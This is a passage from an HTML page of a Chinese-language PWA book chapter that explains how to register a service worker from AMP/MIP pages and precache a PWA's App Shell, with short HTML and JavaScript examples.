data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"1-search-engine-index.html\">\n            \n                <a href=\"1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.10.4\" data-path=\"4-preload-pwa.html\">\n            \n                <a href=\"4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >9.4 AMP/MIP 预加载 PWA</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D;-pwa\"><b></b>&#x5728; AMP/MIP &#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D; PWA</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C;&#x7AD9;&#x70B9;&#x7684;-service-worker\"><b></b>&#x5728; AMP/MIP &#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C;&#x7AD9;&#x70B9;&#x7684; Service Worker</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7F16;&#x5199;-service-worker-&#x7684;&#x903B;&#x8F91;\"><b></b>&#x7F16;&#x5199; Service Worker &#x7684;&#x903B;&#x8F91;</a></li></ul></ul></div><a href=\"#&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D;-pwa\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D;-pwa\"><a name=\"&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D;-pwa\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D;-pwa\" class=\"plugin-anchor\" href=\"#&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5728; AMP/MIP &#x9875;&#x9762;&#x4E2D;&#x9884;&#x52A0;&#x8F7D; PWA</h1>\n<p>&#x901A;&#x8FC7;&#x672C;&#x7AE0;&#x7B2C;&#x4E8C;&#x8282;&#xFF0C;&#x6211;&#x4EEC;&#x4E86;&#x89E3;&#x5230; AMP/MIP &#x4E0D;&#x9002;&#x5408;&#x7528;&#x5B9E;&#x73B0;&#x590D;&#x6742;&#x7684; Web App&#xFF0C;&#x6309;&#x7167; AMP &#x5B98;&#x7F51;&#x7684;&#x4ECB;&#x7ECD;&#xFF0C;AMP &#x662F;&#x201C;&#x53F6;&#x5B50;&#x9875;&#x9762;&#x201D;&#xFF08;&#x6709;&#x5177;&#x4F53;&#x5185;&#x5BB9;&#xFF0C;&#x4E0D;&#x662F;&#x5BFC;&#x822A;&#x7C7B;&#x578B;&#x7684;&#x9875;&#x9762;&#xFF09;&#x7406;&#x60F3;&#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x52A0;&#x8F7D;&#x5FEB;&#xFF0C;&#x4F53;&#x9A8C;&#x597D;&#xFF0C;&#x9002;&#x5408;&#x505A;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x8DF3;&#x51FA;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x9875;&#x9762;&#xFF0C;&#x5374;&#x7531;&#x4E8E;&#x65E0;&#x6CD5;&#x7F16;&#x5199; JavaScript&#xFF0C;&#x4E0D;&#x9002;&#x5408;&#x5B8C;&#x6210;&#x590D;&#x6742;&#x7684;&#x9700;&#x6C42;&#x3002;&#x56E0;&#x6B64;&#x7B2C;&#x4E8C;&#x8DF3;&#x5E94;&#x8BE5;&#x4ECE; AMP &#x8DF3;&#x51FA;&#x5230; PWA&#xFF0C;&#x4F46;&#x662F;&#x5927;&#x90E8;&#x5206; PWA &#x7AD9;&#x70B9;&#x7531;&#x4E8E;&#x5176;&#x91CD;&#x5EA6;&#x4F9D;&#x8D56;&#x4E8E; JavaScript&#xFF0C;&#x5BFC;&#x81F4;&#x9996;&#x5C4F;&#x8F83;&#x6162;&#xFF0C;&#x90A3;&#x4E48;&#x8FD9;&#x8282;&#x5C31;&#x6765;&#x89E3;&#x91CA;&#x4E00;&#x4E0B;&#x5982;&#x4F55;&#x901A;&#x8FC7;&#x5728; AMP/MIP &#x4E2D;&#x9884;&#x52A0;&#x8F7D; PWA &#x9875;&#x9762;&#x6765;&#x52A0;&#x901F; PWA &#x9875;&#x9762;&#x7684;&#x5C55;&#x73B0;&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x5148;&#x5F00;&#x95E8;&#x89C1;&#x5C71;&#x7684;&#x4ECB;&#x7ECD;&#x4E00;&#x4E0B;&#x6574;&#x4E2A;&#x65B9;&#x6848;&#x7684;&#x6B65;&#x9AA4;&#x3002;</p>\n<ol>\n<li>&#x5C06;&#x6240;&#x6709;&#x7684;&#x53F6;&#x5B50;&#x9875;&#x9762;&#x90FD;&#x505A;&#x6210; AMP/MIP&#xFF0C;&#x901A;&#x8FC7; <code>canonical</code> &#x6307;&#x5411; PWA &#x5BF9;&#x5E94;&#x7684;&#x9875;&#x9762;&#x3002;</li>\n<li>&#x5728; AMP &#x9875;&#x9762;&#x4E2D;&#x5D4C;&#x5165; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6765;&#x63D0;&#x524D;&#x6CE8;&#x518C; Service Worker&#x3002;</li>\n<li>Service Worker &#x5728;&#x6CE8;&#x518C;&#x548C;&#x5B89;&#x88C5;&#x7684;&#x65F6;&#x5019;&#x628A; PWA &#x9875;&#x9762;&#x4F9D;&#x8D56;&#x7684;&#x6587;&#x4EF6;&#x7F13;&#x5B58;&#x597D;&#xFF0C;&#x5305;&#x62EC; App Shell &#x4F9D;&#x8D56;&#x7684;&#x6240;&#x6709;&#x8D44;&#x6E90;&#x3002;</li>\n<li>AMP &#x9875;&#x9762;&#x4E2D;&#x6240;&#x6709;&#x94FE;&#x63A5;&#x90FD;&#x8DF3;&#x5230; PWA&#x3002;</li>\n<li>&#x5F53;&#x7528;&#x6237;&#x70B9;&#x51FB; AMP &#x4E2D;&#x7684;&#x94FE;&#x63A5;&#xFF0C;&#x8BF7;&#x6C42;&#x4F1A;&#x88AB; Service Worker &#x62E6;&#x622A;&#xFF0C;&#x4F1A;&#x7ACB;&#x5373;&#x5C55;&#x73B0; App Shell&#x3002;</li>\n</ol>\n<h2 id=\"&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C;&#x7AD9;&#x70B9;&#x7684;-service-worker\"><a name=\"&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C;&#x7AD9;&#x70B9;&#x7684;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C;&#x7AD9;&#x70B9;&#x7684;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C;&#x7AD9;&#x70B9;&#x7684;-service-worker\" class=\"plugin-anchor\" href=\"#&#x5728;-ampmip-&#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C;&#x7AD9;&#x70B9;&#x7684;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5728; AMP/MIP &#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C;&#x7AD9;&#x70B9;&#x7684; Service Worker</h2>\n<p>&#x548C;&#x4E0A;&#x8282;&#x4E00;&#x6837;&#x6B65;&#x9AA4;&#x57FA;&#x672C;&#x4E00;&#x6837;&#xFF0C;&#x9996;&#x5148;&#x901A;&#x8FC7;&#x5728; MIP &#x9875;&#x9762;&#x4E2D;&#x5D4C;&#x5165; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6765;&#x6CE8;&#x518C; Service Worker&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- &#x5F15;&#x5165; mip-install-serviceworker &#x7684;&#x6269;&#x5C55;&#x7684; JS --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">async</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://c.mipcdn.com/static/v1/mip-install-serviceworker/mip-install-serviceworker.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n\n<span class=\"token comment\">&lt;!-- &#x6CE8;&#x518C; Service Worker --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span>\n  <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://www.your-domain.com/serviceworker.js<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">layout</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>nodisplay<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<h2 id=\"&#x7F16;&#x5199;-service-worker-&#x7684;&#x903B;&#x8F91;\"><a name=\"&#x7F16;&#x5199;-service-worker-&#x7684;&#x903B;&#x8F91;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F16;&#x5199;-service-worker-&#x7684;&#x903B;&#x8F91;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F16;&#x5199;-service-worker-&#x7684;&#x903B;&#x8F91;\" class=\"plugin-anchor\" href=\"#&#x7F16;&#x5199;-service-worker-&#x7684;&#x903B;&#x8F91;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7F16;&#x5199; Service Worker &#x7684;&#x903B;&#x8F91;</h2>\n<p>&#x4E0E;&#x4E0A;&#x8282;&#x4E0D;&#x540C;&#x7684;&#x662F;&#xFF0C;&#x5728;&#x8FD9;&#x79CD;&#x65B9;&#x6848;&#x91CC;&#x9700;&#x8981;&#x5BF9;&#x5C06;&#x8981;&#x8DF3;&#x8F6C;&#x7684; PWA &#x9875;&#x9762;&#x7684; App Shell &#x7B49;&#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x9884;&#x7F13;&#x5B58;&#xFF0C;&#x4ECE;&#x800C;&#x63D0;&#x5347;&#x8DF3;&#x8F6C;&#x9996;&#x5C4F;&#x5C55;&#x73B0;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#xFF0C;&#x56E0;&#x6B64;&#x4EE3;&#x7801;&#x7F16;&#x5199;&#x4E0A;&#x4F1A;&#x6709;&#x4E00;&#x4E9B;&#x533A;&#x522B;&#xFF0C;&#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x6240;&#x5C55;&#x793A;&#x7684;&#x662F;&#x4E00;&#x4E2A; AMP/MIP &#x8DF3;&#x8F6C;&#x7684; PWA &#x7684; Service Worker &#x6587;&#x4EF6;&#x7684;&#x4E00;&#x90E8;&#x5206;&#x5185;&#x5BB9;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x5BF9; App Shell &#x5148;&#x8FDB;&#x884C;&#x9884;&#x7F13;&#x5B58;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> <span class=\"token constant\">CACHE_NAME</span> <span class=\"token operator\">=</span> <span class=\"token string\">&apos;my-site-precache&apos;</span>\n<span class=\"token keyword\">const</span> <span class=\"token constant\">URLS_TO_CACHE</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>\n  <span class=\"token string\">&apos;/&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/static/vendor.js&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/static/app.js&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/static/app.css&apos;</span>\n<span class=\"token punctuation\">]</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;install&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  event<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span>\n    caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token constant\">CACHE_NAME</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">cache</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x5C06;&#x5217;&#x8868;&#x4E2D;&#x7684;&#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x9884;&#x7F13;&#x5B58;</span>\n      <span class=\"token keyword\">return</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">addAll</span><span class=\"token punctuation\">(</span><span class=\"token constant\">URLS_TO_CACHE</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x5176;&#x4E2D;&#x4E00;&#x90E8;&#x5206;&#xFF0C;<code>/</code> &#x5C31;&#x662F; App Shell&#xFF0C;&#x5176;&#x4ED6;&#x90FD;&#x662F;&#x5176;&#x4F9D;&#x8D56;&#x7684;&#x9759;&#x6001;&#x6587;&#x4EF6;&#xFF0C;&#x5982;&#x679C;&#x91C7;&#x7528; SSR&#xFF0C;&#x90A3;&#x4E48; Service Worker &#x5C31;&#x8FD8;&#x9700;&#x8981;&#x518D;&#x8FDB;&#x884C;&#x52A0;&#x5DE5;&#xFF0C;&#x5728;&#x524D;&#x9762;&#x7684;&#x7AE0;&#x8282;&#x4E2D;&#x4E5F;&#x6709;&#x8FC7;&#x4ECB;&#x7ECD;&#x3002;</p>\n<p>&#x5230;&#x8FD9;&#x91CC;&#x6CE8;&#x518C; Service Worker &#x548C;&#x7F16;&#x5199; Service Worker &#x90FD;&#x5DF2;&#x7ECF;&#x5B8C;&#x6210;&#x4E86;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EA;&#x9700;&#x8981;&#x518D;&#x5C06; AMP/MIP &#x4E2D;&#x7684;&#x94FE;&#x63A5;&#x8DF3;&#x8F6C;&#x5230;&#x5BF9;&#x5E94;&#x7684; PWA &#x9875;&#x9762;&#x5373;&#x53EF;&#x3002;</p>\n<p>&#x4EE5;&#x4E0A;&#x5C31;&#x662F;&#x7B2C;&#x4E5D;&#x7AE0;&#x7684;&#x5168;&#x90E8;&#x5185;&#x5BB9;&#xFF0C;&#x8BB2;&#x89E3;&#x4E86; PWA &#x4E0E;&#x641C;&#x7D22;&#x5982;&#x4F55;&#x7ED3;&#x5408;&#xFF0C;&#x5982;&#x4F55;&#x4F7F;&#x7528; AMP/MIP &#x6765;&#x5BF9;&#x9875;&#x9762;&#x8FDB;&#x884C;&#x52A0;&#x901F;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"3-whole-site-amp-and-mip.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 9.3 全站 AMP/MIP\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../appendix01.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 附录1 使用 Lighthouse 测评 PWA\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"9.4 AMP/MIP 预加载 PWA\",\"level\":\"1.10.4\",\"depth\":2,\"next\":{\"title\":\"附录1 使用 Lighthouse 测评 PWA\",\"level\":\"1.11\",\"depth\":1,\"path\":\"appendix01.md\",\"ref\":\"appendix01.md\",\"articles\":[{\"title\":\"1 使用 Lighthouse 测评 PWA\",\"level\":\"1.11.1\",\"depth\":2,\"path\":\"appendix01/1-lighthouse.md\",\"ref\":\"appendix01/1-lighthouse.md\",\"articles\":[]},{\"title\":\"2 Lighthouse 评分指南\",\"level\":\"1.11.2\",\"depth\":2,\"path\":\"appendix01/2-lighthouse-score-guide.md\",\"ref\":\"appendix01/2-lighthouse-score-guide.md\",\"articles\":[]},{\"title\":\"3 Lighthouse 使用案例\",\"level\":\"1.11.3\",\"depth\":2,\"path\":\"appendix01/3-lighthouse-case.md\",\"ref\":\"appendix01/3-lighthouse-case.md\",\"articles\":[]}]},\"previous\":{\"title\":\"9.3 全站 AMP/MIP\",\"level\":\"1.10.3\",\"depth\":2,\"path\":\"chapter09/3-whole-site-amp-and-mip.md\",\"ref\":\"chapter09/3-whole-site-amp-and-mip.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD 